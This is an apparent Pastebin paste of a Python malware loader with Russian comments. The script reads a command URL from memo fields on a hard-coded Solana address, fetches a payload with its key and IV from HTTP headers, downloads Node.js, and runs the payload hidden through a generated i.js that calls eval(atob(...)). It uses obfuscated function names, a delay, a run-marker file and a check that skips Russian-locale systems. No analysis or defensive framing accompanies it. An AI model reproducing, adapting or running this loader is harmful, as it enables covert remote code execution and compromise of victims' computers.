Guest User

Untitled

a guest
Mar 20th, 2026
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.62 KB | None | 0 0
  1. import os
  2. import sys
  3. import json
  4. import time
  5. import base64
  6. import platform
  7. import subprocess
  8. import re
  9. import asyncio
  10. import locale
  11. import urllib.request
  12. import urllib.error
  13. import socket
  14. import zipfile
  15. import shutil
  16. from datetime import datetime, timedelta, timezone
  17. from pathlib import Path
  18. from http.client import HTTPResponse
  19.  
  20. # Эмуляция объекта Buffer из Node.js
  21. class Buffer:
  22.     @staticmethod
  23.     def from_bytes(data, encoding=None):
  24.         """Статический метод для создания буфера из данных"""
  25.         if encoding == 'base64':
  26.             return base64.b64decode(data)
  27.         elif encoding == 'binary':
  28.             if isinstance(data, str):
  29.                 return data.encode('latin-1')
  30.             return data
  31.         elif isinstance(data, str):
  32.             return data.encode('utf-8')
  33.         return bytes(data)
  34.    
  35.     @staticmethod
  36.     def from_string(data, encoding='utf-8'):
  37.         if encoding == 'base64':
  38.             return base64.b64decode(data)
  39.         return data.encode(encoding)
  40.  
  41.  
  42. def __name(func, name):
  43.     """Эмуляция декоратора __name из JS"""
  44.     func.__name__ = name
  45.     return func
  46.  
  47.  
  48. async def _getSignFAddress(public_key, options=None):
  49.     """
  50.    Получение подписей для адреса Solana
  51.    """
  52.     if options is None:
  53.         options = {}
  54.    
  55.     limit = options.get('limit', 1000)
  56.     endpoints = [
  57.         "https://api.mainnet-beta.solana.com",
  58.         "https://solana-mainnet.gateway.tatum.io",
  59.         "https://go.getblock.us/86aac42ad4484f3c813079afc201451c",
  60.         "https://solana-rpc.publicnode.com",
  61.         "https://api.blockeden.xyz/solana/KeCh6p22EX5AeRHxMSmc",
  62.         "https://solana.drpc.org",
  63.         "https://solana.leorpc.com/?api_key=FREE",
  64.         "https://solana.api.onfinality.io/public",
  65.         "https://solana.api.pocket.network/"
  66.     ]
  67.    
  68.     last_error = None
  69.    
  70.     for endpoint in endpoints:
  71.         try:
  72.             # Создаем запрос
  73.             data = json.dumps({
  74.                 "jsonrpc": "2.0",
  75.                 "id": 1,
  76.                 "method": "getSignaturesForAddress",
  77.                 "params": [public_key, {"limit": limit}]
  78.             }).encode('utf-8')
  79.            
  80.             req = urllib.request.Request(
  81.                 endpoint,
  82.                 data=data,
  83.                 headers={"Content-Type": "application/json"},
  84.                 method="POST"
  85.             )
  86.            
  87.             # Выполняем запрос с таймаутом
  88.             with urllib.request.urlopen(req, timeout=30) as response:
  89.                 response_data = response.read().decode('utf-8')
  90.                 data = json.loads(response_data)
  91.            
  92.             # Проверка на наличие ошибки в ответе
  93.             if data.get('zmwtjkgxor') or data.get('error'):
  94.                 raise Exception(data.get('error', 'Unknown error'))
  95.            
  96.             return data.get('result', [])
  97.            
  98.         except Exception as e:
  99.             last_error = e
  100.             await asyncio.sleep(0.1)  # 100ms задержка
  101.             continue
  102.    
  103.     raise Exception(f"Failed after all endpoints: {last_error}")
  104.  
  105.  
  106. async def fvzsrnzlh():
  107.     """
  108.    Получение memo из транзакций и парсинг JSON
  109.    """
  110.     try:
  111.         memo = None
  112.        
  113.         while not memo:
  114.             signatures = await _getSignFAddress(
  115.                 "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC",
  116.                 {"limit": 1000}
  117.             )
  118.            
  119.             if not isinstance(signatures, list) or len(signatures) == 0:
  120.                 await asyncio.sleep(10)
  121.                 continue
  122.            
  123.             # Фильтрация транзакций с memo
  124.             memo_transactions = [x for x in signatures if x and x.get('memo')]
  125.             if memo_transactions:
  126.                 memo = memo_transactions[0]['memo']
  127.            
  128.             await asyncio.sleep(10)
  129.        
  130.         # Удаление паттерна типа [0] из начала memo
  131.         result = re.sub(r'\[\d+\]\s*', '', memo)
  132.        
  133.         return json.loads(result)
  134.        
  135.     except Exception as e:
  136.         return str(e)
  137.  
  138.  
  139. def _isRussianSystem():
  140.     """
  141.    Проверка, находится ли система в России
  142.    """
  143.     # Проверка языка системы
  144.     username = os.getenv('USERNAME') or os.getenv('USER') or ''
  145.     lang = os.getenv('LANG', '')
  146.     language = os.getenv('LANGUAGE', '')
  147.     lc_all = os.getenv('LC_ALL', '')
  148.    
  149.     # Получение локали системы
  150.     try:
  151.         system_locale = locale.getdefaultlocale()[0] or ''
  152.     except:
  153.         system_locale = ''
  154.    
  155.     # Проверка на русский язык
  156.     russian_patterns = ['ru_RU', 'ru-RU', 'russian', 'россия', 'русский']
  157.     is_russian_language = False
  158.    
  159.     for info in [username, lang, language, lc_all, system_locale]:
  160.         if info:
  161.             info_lower = info.lower()
  162.             for pattern in russian_patterns:
  163.                 if pattern.lower() in info_lower:
  164.                     is_russian_language = True
  165.                     break
  166.    
  167.     # Проверка часового пояса
  168.     try:
  169.         # Пытаемся получить часовой пояс из разных источников
  170.         timezone = None
  171.        
  172.         # Для Linux/Mac
  173.         if os.path.exists('/etc/timezone'):
  174.             with open('/etc/timezone', 'r') as f:
  175.                 timezone = f.read().strip()
  176.         elif os.path.exists('/etc/localtime'):
  177.             # Пытаемся получить из symlink
  178.             try:
  179.                 timezone = os.readlink('/etc/localtime').replace('/usr/share/zoneinfo/', '')
  180.             except:
  181.                 pass
  182.        
  183.         # Для Windows
  184.         if platform.system() == 'Windows':
  185.             try:
  186.                 result = subprocess.run(['tzutil', '/g'], capture_output=True, text=True, timeout=5)
  187.                 if result.returncode == 0:
  188.                     timezone = result.stdout.strip()
  189.             except:
  190.                 pass
  191.        
  192.         # Fallback - используем смещение
  193.         if not timezone:
  194.             timezone = ''
  195.            
  196.     except:
  197.         timezone = ''
  198.    
  199.     russian_timezones = [
  200.         "moscow", "kaliningrad", "samara", "yekaterinburg",
  201.         "omsk", "krasnoyarsk", "irkutsk", "yakutsk",
  202.         "vladivostok", "magadan", "kamchatka", "anadyr", "msk"
  203.     ]
  204.    
  205.     is_russian_timezone = False
  206.     timezone_lower = str(timezone).lower()
  207.     for tz in russian_timezones:
  208.         if tz in timezone_lower:
  209.             is_russian_timezone = True
  210.             break
  211.    
  212.     # Проверка смещения UTC
  213.     try:
  214.         offset = datetime.now().astimezone().utcoffset()
  215.         utc_offset = offset.total_seconds() / 3600 if offset else 0
  216.         is_russian_offset = 2 <= utc_offset <= 12
  217.     except:
  218.         is_russian_offset = False
  219.    
  220.     return is_russian_language and (is_russian_timezone or is_russian_offset)
  221.  
  222.  
  223. def download_nodejs():
  224.     """
  225.    Скачивание и распаковка Node.js
  226.    """
  227.     try:
  228.         # Определяем URL для скачивания в зависимости от платформы
  229.         system = platform.system()
  230.         machine = platform.machine().lower()
  231.        
  232.         if system == 'Windows':
  233.             if 'amd64' in machine or 'x86_64' in machine or 'x64' in machine:
  234.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip'
  235.                 node_dir = 'node-v22.9.0-win-x64'
  236.             else:
  237.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip'
  238.                 node_dir = 'node-v22.9.0-win-x86'
  239.         elif system == 'Darwin':
  240.             if 'arm' in machine or 'aarch64' in machine:
  241.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-arm64.tar.gz'
  242.                 node_dir = 'node-v22.9.0-darwin-arm64'
  243.             else:
  244.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-x64.tar.gz'
  245.                 node_dir = 'node-v22.9.0-darwin-x64'
  246.         else:  # Linux
  247.             if 'aarch64' in machine or 'arm64' in machine:
  248.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-linux-arm64.tar.xz'
  249.                 node_dir = 'node-v22.9.0-linux-arm64'
  250.             else:
  251.                 url = 'https://nodejs.org/download/release/v22.9.0/node-v22.9.0-linux-x64.tar.xz'
  252.                 node_dir = 'node-v22.9.0-linux-x64'
  253.        
  254.         # Путь для сохранения
  255.         homedir = os.path.expanduser('~')
  256.         download_path = os.path.join(homedir, os.path.basename(url))
  257.         extract_path = os.path.join(homedir, node_dir)
  258.        
  259.         # Проверяем, не скачан ли уже Node.js
  260.         if system == 'Windows':
  261.             node_exe = os.path.join(extract_path, 'node.exe')
  262.         else:
  263.             node_exe = os.path.join(extract_path, 'bin', 'node')
  264.        
  265.         if os.path.exists(node_exe):
  266.             return node_exe
  267.        
  268.         # Скачиваем файл
  269.         print(f"Downloading Node.js from {url}...")
  270.         urllib.request.urlretrieve(url, download_path)
  271.        
  272.         # Распаковываем
  273.         print(f"Extracting Node.js to {extract_path}...")
  274.         if url.endswith('.zip'):
  275.             with zipfile.ZipFile(download_path, 'r') as zip_ref:
  276.                 zip_ref.extractall(homedir)
  277.         elif url.endswith('.tar.gz'):
  278.             import tarfile
  279.             with tarfile.open(download_path, 'r:gz') as tar_ref:
  280.                 tar_ref.extractall(homedir)
  281.         elif url.endswith('.tar.xz'):
  282.             import tarfile
  283.             with tarfile.open(download_path, 'r:xz') as tar_ref:
  284.                 tar_ref.extractall(homedir)
  285.        
  286.         # Удаляем архив
  287.         try:
  288.             os.remove(download_path)
  289.         except:
  290.             pass
  291.        
  292.         return node_exe
  293.        
  294.     except Exception as e:
  295.         print(f"Error downloading Node.js: {e}")
  296.         return None
  297.  
  298.  
  299. def scyzzvvy(url, callback):
  300.     """
  301.    Загрузка данных по URL и вызов callback с результатом
  302.    """
  303.     try:
  304.         # Создаем запрос с заголовком os
  305.         req = urllib.request.Request(
  306.             url,
  307.             headers={'os': platform.system().lower()},
  308.             method="GET"
  309.         )
  310.        
  311.         # Выполняем запрос
  312.         with urllib.request.urlopen(req, timeout=30) as response:
  313.             data = response.read().decode('utf-8')
  314.            
  315.             # Получаем заголовки
  316.             iv_base64 = response.headers.get(base64.b64decode("aXZiYXNlNjQ=").decode())
  317.             secret_key = response.headers.get(base64.b64decode("c2VjcmV0a2V5").decode())
  318.            
  319.             callback(None, {
  320.                 'uezupbxi': data,
  321.                 'ypbtv': iv_base64,
  322.                 'secretKey': secret_key
  323.             })
  324.            
  325.     except Exception as e:
  326.         callback(e, None)
  327.  
  328.  
  329. async def main():
  330.     """
  331.    Основная функция
  332.    """
  333.     # Ждем 10 секунд перед выполнением
  334.     await asyncio.sleep(10)
  335.    
  336.     # Проверка на русскую систему
  337.     if _isRussianSystem():
  338.         print("Russian system detected, skipping execution")
  339.         return
  340.    
  341.     # Работа с init.json
  342.     homedir = os.path.expanduser('~')
  343.     init_path = os.path.join(homedir, 'init.json')
  344.    
  345.     if os.path.exists(init_path):
  346.         try:
  347.             with open(init_path, 'r', encoding='utf-8') as f:
  348.                 check_data = json.load(f)
  349.            
  350.             # Проверка даты
  351.             if check_data.get('date'):
  352.                 check_date = datetime.fromtimestamp(check_data['date'] / 1000)  # конвертация из ms
  353.                 expiry = check_date + timedelta(days=2)
  354.                
  355.                 if expiry > datetime.now():
  356.                     print("Init file is still valid, skipping")
  357.                     return
  358.                
  359.                 # Обновление даты
  360.                 check_data['date'] = int(datetime.now().timestamp() * 1000)
  361.                 with open(init_path, 'w', encoding='utf-8') as f:
  362.                     json.dump(check_data, f)
  363.         except Exception as e:
  364.             print(f"Error reading init.json: {e}")
  365.    
  366.     # Для macOS создаем файл
  367.     if platform.system() == 'Darwin':
  368.         try:
  369.             with open(init_path, 'w', encoding='utf-8') as f:
  370.                 json.dump({'date': int(datetime.now().timestamp() * 1000)}, f)
  371.         except Exception as e:
  372.             print(f"Error writing init.json: {e}")
  373.    
  374.     # Получение данных и выполнение кода
  375.     try:
  376.         data = await fvzsrnzlh()
  377.        
  378.         def callback(err, result):
  379.             if err:
  380.                 print(f"Error in callback: {err}")
  381.                 return
  382.                
  383.             if not result:
  384.                 if isinstance(data, dict) and 'link' in data:
  385.                     print(f"payload not get, {base64.b64decode(data['link']).decode()}")
  386.                 return
  387.            
  388.             if err:
  389.                 time.sleep(1)
  390.                 asyncio.create_task(fvzsrnzlh())
  391.             else:
  392.                 # Скачиваем Node.js
  393.                 node_exe = download_nodejs()
  394.                 if not node_exe:
  395.                     print("Failed to download Node.js")
  396.                     return
  397.                
  398.                 # Получаем данные
  399.                 secret_key = result.get('secretKey', '')
  400.                 ypbtv = result.get('ypbtv', '')
  401.                 uezupbxi = result.get('uezupbxi', '')
  402.                
  403.                 # Создаем временный JS файл
  404.                 script_dir = os.path.dirname(os.path.abspath(__file__))
  405.                 js_file_path = os.path.join(script_dir, 'i.js')
  406.                
  407.                 # Формируем JS код
  408.                 js_code = f"""var https = require("https");
  409. const secretKey = '{secret_key}';
  410. const _iv = Buffer.from('{ypbtv}', "base64");
  411. eval(atob('{uezupbxi}'));"""
  412.                
  413.                 # Записываем JS файл
  414.                 try:
  415.                     with open(js_file_path, 'w', encoding='utf-8') as f:
  416.                         f.write(js_code)
  417.                    
  418.                     # Выполняем JS файл через Node.js
  419.                     subprocess.Popen([node_exe, js_file_path],
  420.                                    stdout=subprocess.DEVNULL,
  421.                                    stderr=subprocess.DEVNULL,
  422.                                    creationflags=subprocess.CREATE_NO_WINDOW if platform.system() == 'Windows' else 0)
  423.                    
  424.                 except Exception as e:
  425.                     print(f"Error executing JS code: {e}")
  426.        
  427.         # Вызов функции с декодированным URL
  428.         if isinstance(data, dict) and 'link' in data:
  429.             decoded_url = base64.b64decode(data['link']).decode()
  430.             scyzzvvy(decoded_url, callback)
  431.            
  432.     except Exception as e:
  433.         print(f"Error in main: {e}")
  434.  
  435.  
  436. # Запуск асинхронной функции
  437. if __name__ == "__main__":
  438.     asyncio.run(main())
  439.  
Add Comment
Please, Sign In to add comment